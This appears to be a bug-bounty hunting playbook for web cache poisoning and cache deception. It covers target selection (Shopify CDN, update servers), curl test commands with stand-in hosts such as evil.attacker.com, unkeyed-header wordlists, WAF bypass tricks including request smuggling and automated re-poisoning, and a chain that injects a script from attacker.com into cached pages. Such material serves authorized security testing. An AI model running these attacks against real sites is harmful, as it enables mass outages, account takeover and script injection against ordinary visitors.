Cache Poison Hunter

Cache poisoning is high-value because a single poisoned cache entry can affect thousands or millions of victims simultaneously — one request, mass exploitation. Payout scales with blast radius.

Highest-value targets:

• CDN-served assets (cdn.shopify.com, cloudfront distributions, Fastly/Akamai edges) — poisoning these affects every visitor globally
• E-commerce platforms with affiliate/referral flows (Shopify, WooCommerce storefronts) — session hijack or affiliate fraud potential
• Gaming platforms with update servers (rockstargames updates.* domains) — DoS on update delivery = widespread client breakage
• Authentication endpoints served through caches — leads to account takeover (the highest severity variant)
• Asset CDNs (JS/CSS delivery) — XSS payload delivery at scale
• SaaS multi-tenant platforms — one poisoned response bleeds into all tenants sharing a cache key

URL patterns to look for:

• cdn., assets., static., updates., downloads. subdomains
• URL path structures with extensions that look static: /path/to/page.css, /account.php/nonexistent.jpg
• Affiliate/link shortener endpoints: /link/, /go/, /ref/, /out/
• Paths that mix dynamic content with cacheable-looking URLs

X-Cache: HIT / MISS X-Cache-Status: HIT CF-Cache-Status: HIT / MISS (Cloudflare) Age: <nonzero> Via: 1.1 varnish / cloudfront / fastly Cache-Control: public, max-age=... Surrogate-Control: max-age=... X-Served-By: cache-...

JS/tech stack signals:

• Fastly, Varnish, Cloudfront, Akamai, Nginx proxy_cache in response headers
• Shopify/Linkpop stacks with third-party integrations
• Platforms using path-based routing without normalizing trailing segments
• Servers that reflect unvalidated headers into responses (Host, X-Forwarded-Host, X-Original-URL)

X-Forwarded-Host X-Host X-Forwarded-Scheme X-Original-URL X-Rewrite-URL Forwarded X-HTTP-Method-Override

• Map cache infrastructure. Send a GET to the target and inspect response headers. Identify the caching layer (Cloudflare, Fastly, Varnish, Nginx). Note Age, X-Cache, CF-Cache-Status headers.
• Identify cache key components. Send two identical requests — if Age increments, the response is cached. Vary headers one-by-one (e.g., add X-Forwarded-Host) to determine which headers are NOT included in the cache key (unkeyed).
• Test unkeyed header reflection. Add X-Forwarded-Host: evil.com and check if the value appears in the response body (redirects, canonical links, CSP headers, JS src attributes, meta tags). Do this on a cache MISS to avoid poisoning yourself first.
• Test URL path manipulation (Web Cache Deception). Append fake static extensions to dynamic endpoints:

• Test for DoS via cache poisoning. Send a request with a header that causes a 4xx/5xx error and check if that error response gets cached:

• Confirm unkeyed parameter poisoning. Try query parameter fatigue or HTTP parameter pollution:

• Validate cache storage. After sending a potentially poisoned request, immediately request the same URL WITHOUT the malicious header from a different IP or incognito session. If you receive the poisoned response — it's confirmed.
• Measure cache TTL. Check Cache-Control: max-age and Age to understand how long the poison persists and whether it's exploitable before expiry.
• Check affiliate/link flows specifically. For platforms like Linkpop, test whether the referrer/product URL is embedded in a cacheable response that another user will receive.
• Document blast radius. Determine: global CDN edge (worldwide), regional cache, or single-server cache. This directly affects severity rating.

Confirm caching behavior:

# Send twice, compare Age header curl -s -I "https://target.com/page" | grep -i "age\|x-cache\|cf-cache" curl -s -I "https://target.com/page" | grep -i "age\|x-cache\|cf-cache"

Test unkeyed X-Forwarded-Host:

curl -s -H "X-Forwarded-Host: evil.attacker.com" \   "https://target.com/page" | grep -i "evil.attacker.com"

Test Web Cache Deception (path appending):

# Authenticated session cookie required curl -s -b "session=YOUR_SESSION" \   "https://target.com/account/profile.css"

# Then fetch without auth from another client curl -s "https://target.com/account/profile.css"

Force cache miss to test poison without hitting cached version:

curl -s -H "Cache-Control: no-cache" \      -H "X-Forwarded-Host: canary.attacker.com" \      "https://target.com/page"

DoS via poisoned error response:

curl -s -H "X-Forwarded-Host: aaaaaaaaaaa.invalid" \   "https://target.com/js/app.js" -I # Check if next clean request returns error curl -s -I "https://target.com/js/app.js" | grep "HTTP/"

Grep patterns in Burp/ZAP response history:

# Headers indicating cache hit X-Cache: HIT CF-Cache-Status: HIT Age: [1-9]

# Reflected unkeyed input in body evil\.attacker\.com canary\d+\.
# Web cache deception indicators Content-Type: text/css  (but response is HTML/JSON) Cache-Control: public.*max-age  (on authenticated endpoint)

Parameter pollution test:

curl -s "https://target.com/page?cb=1&param=CANARY_VALUE" | grep CANARY_VALUE # Then check if clean request returns poisoned version curl -s "https://target.com/page?cb=1"

Burp Suite Intruder wordlist for unkeyed headers:

X-Forwarded-Host X-Host X-Forwarded-Server X-HTTP-Host-Override Forwarded X-Original-URL X-Rewrite-URL X-Forwarded-Scheme X-Forwarded-Proto True-Client-IP

• CDN misconfiguration — caching based on URL path only. Engineers configure cache rules like "cache everything matching *.js" without realizing the path can be appended to dynamic routes. The origin server ignores the extra path segments, but the CDN uses them as cache keys.
• Unkeyed header forwarding. Developers configure reverse proxies to forward X-Forwarded-Host to backends for URL generation (canonical links, redirects, password reset emails) without including it in the cache key. The CDN caches the poisoned response.
• Web Cache Deception via permissive routing. Frameworks that normalize URLs (e.g., Rails, Express) accept /account/settings.css and serve the same response as /account/settings. The CDN sees a .css extension and applies aggressive caching rules.
• Shared caching of multi-tenant responses. SaaS platforms that use a single CDN without tenant isolation in the cache key allow cross-tenant cache poisoning.
• Error responses cached without thought. Backend errors (404, 500) triggered by attacker-controlled input get cached, causing DoS for legitimate users. Developers implement caching without excluding error status codes.
• Lazy Vary header implementation. Developers know they should add Vary: X-Forwarded-Host but forget, or CDNs strip/ignore Vary headers entirely (Cloudflare historically strips Vary on some asset types).
• Third-party integrations with URL reflection. Affiliate/link tracking systems (like Shopify Linkpop) reflect the destination URL in metadata, canonical tags, or redirects — and these get cached globally.

Defense: WAF blocking known poison headers

• Bypass: Use less-common header variants: X-Host, X-Forwarded-Server, X-HTTP-Host-Override, Forwarded: host=evil.com, X-Original-URL
• Bypass: Header value encoding: X-Forwarded-Host: evil%2ecom
• Bypass: Case variation: x-forwarded-host, X-FORWARDED-HOST

• Bypass: Use HTTP/2 pseudo-header manipulation if the proxy downgrades to HTTP/1.1
• Bypass: Inject via HTTP Request Smuggling — smuggle a request with poison headers past the WAF to hit the cache server directly

• Bypass: Web Cache Deception — trick the cache into storing authenticated content by appending .css/.js to the URL, which matches a cache rule that ignores auth

• Bypass: HTTP Parameter Pollution — some parsers take the first occurrence, caches key on full string; inject ?legit=1&param=evil and cache stores it under ?legit=1&param=evil but victim visits ?legit=1
• Bypass: Fat GET request — send body parameters that the backend processes but the cache ignores

• Bypass: Automate re-poisoning; send the poison request in a loop just ahead of TTL expiry
• Bypass: Target CDN nodes with longer default TTLs by routing requests through specific PoPs

• Bypass: Check if CDN respects this header (some CDNs ignore it if an admin has overridden cache rules globally)
• Bypass: Find adjacent cacheable endpoints that reflect the same sensitive data

• What can the attacker DO right now?

• What does the victim LOSE?

• Can it be reproduced in 10 minutes from scratch?

Scenario 1 — Mass DoS on CDN Asset Delivery (Shopify CDN) An attacker identified that CDN-served JavaScript assets on cdn.shopify.com could be poisoned by sending a request with a crafted header that caused the origin to return a 4xx error. The CDN cached this error response. Any merchant storefront loading that asset then received the cached error instead of the valid JS file — breaking checkout flows and storefront functionality across all stores sharing that CDN path. One HTTP request, global merchant impact, persisting until cache TTL expired.

Scenario 2 — Account Takeover via Web Cache Deception On a platform serving authenticated account pages, an attacker crafted a URL like /account/profile/photo.jpg and sent it to a victim (via phishing link). When the victim (authenticated) visited the URL, the server responded with their full account profile page (name, email, session tokens). Because the URL ended in .jpg, the CDN cached the authenticated response publicly. The attacker then fetched /account/profile/photo.jpg without authentication and received the victim's account data — enabling full account takeover. Impact was amplified because the cache served the same response to any subsequent requester.

Scenario 3 — Affiliate Link Hijacking via URL Path Manipulation (Shopify Linkpop) An attacker discovered that the Linkpop affiliate link service would cache responses based on URL path but reflected a manipulated product destination URL in the cached HTML. By visiting a specially crafted path before legitimate users, the attacker poisoned the cache to redirect affiliate clicks to an attacker-controlled domain instead of the legitimate Amazon product. Victims clicking what appeared to be valid merchant links were sent to attacker infrastructure, enabling credential phishing and loss of affiliate commission revenue for the legitimate merchant.

The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Spans the two major families: cache poisoning (attacker influences a cached response served to victims) and cache deception (attacker tricks the cache into storing a victim's private response).

• Shopify — Cache poisoning via X-Forwarded-Host ([H1 #977851](https://hackerone.com/reports/977851))

• HackerOne — Cache poisoning DoS via X-Forwarded-Port ([H1 #409370](https://hackerone.com/reports/409370))

• GitLab — Cache poisoning DoS via X-HTTP-Method-Override ([H1 #1160407](https://hackerone.com/reports/1160407))

• PayPal — Web Cache Deception (Omer Gil original) ([Blog](https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html))

• Cloudflare PBB — Cache Deception Armor bypass via .avif ([H1 #1391635](https://hackerone.com/reports/1391635))

• Akamai (PayPal/Airbnb/Goldman Sachs) — Hop-by-hop header smuggling → server-side edge poisoning ([Tediosi & Mariani writeup](https://medium.com/@jacopotediosi/worldwide-server-side-cache-poisoning-on-all-akamai-edge-nodes-50k-bounty-earned-f97d80f3922b))

• hunt-xss — Cache poisoning is the multiplier that turns reflected XSS (low-severity self-inflicted) into stored XSS across every CDN-edge visitor. Chain primitive: X-Forwarded-Host: attacker.com poisons cached script src → cached response now contains <script src="//attacker.com/x.js"> → every visitor to that CDN edge executes attacker JS, persistent for the full Cache-Control max-age.
• hunt-http-smuggling — Smuggling bypasses front-end cache-key normalization and WAF stripping of poison headers, hitting the cache server directly. Chain primitive: CL.TE smuggle delivers X-Forwarded-Host: attacker.com to the cache backend past the WAF that stripped it at the edge → poisoned entry stored under the victim's normal URL → de-sync poisoning where the smuggled request becomes the cached response for the next victim.
• hunt-auth-bypass — Web Cache Deception turns authenticated pages into publicly-cached responses, leaking session-bound content to unauthenticated attackers. Chain primitive: /account/profile.css served as authenticated HTML, cached as static asset → attacker fetches same URL without auth and reads victim's email/tokens → session cookies in body → full ATO.
• security-arsenal — Reach for the unkeyed-header wordlist (X-Forwarded-Host, X-Host, X-Forwarded-Server, X-HTTP-Host-Override, Forwarded, X-Original-URL) and the WCD path-extension list (.css, .js, .jpg, .ico, ;.css, %2e%2ecss) before hand-fuzzing.
• triage-validation — Run the Pre-Severity Gate before claiming Critical: the poisoned response MUST be reproducible from a separate IP/incognito without your poison headers. If only your own browser sees the effect, it's a self-cache and N/A.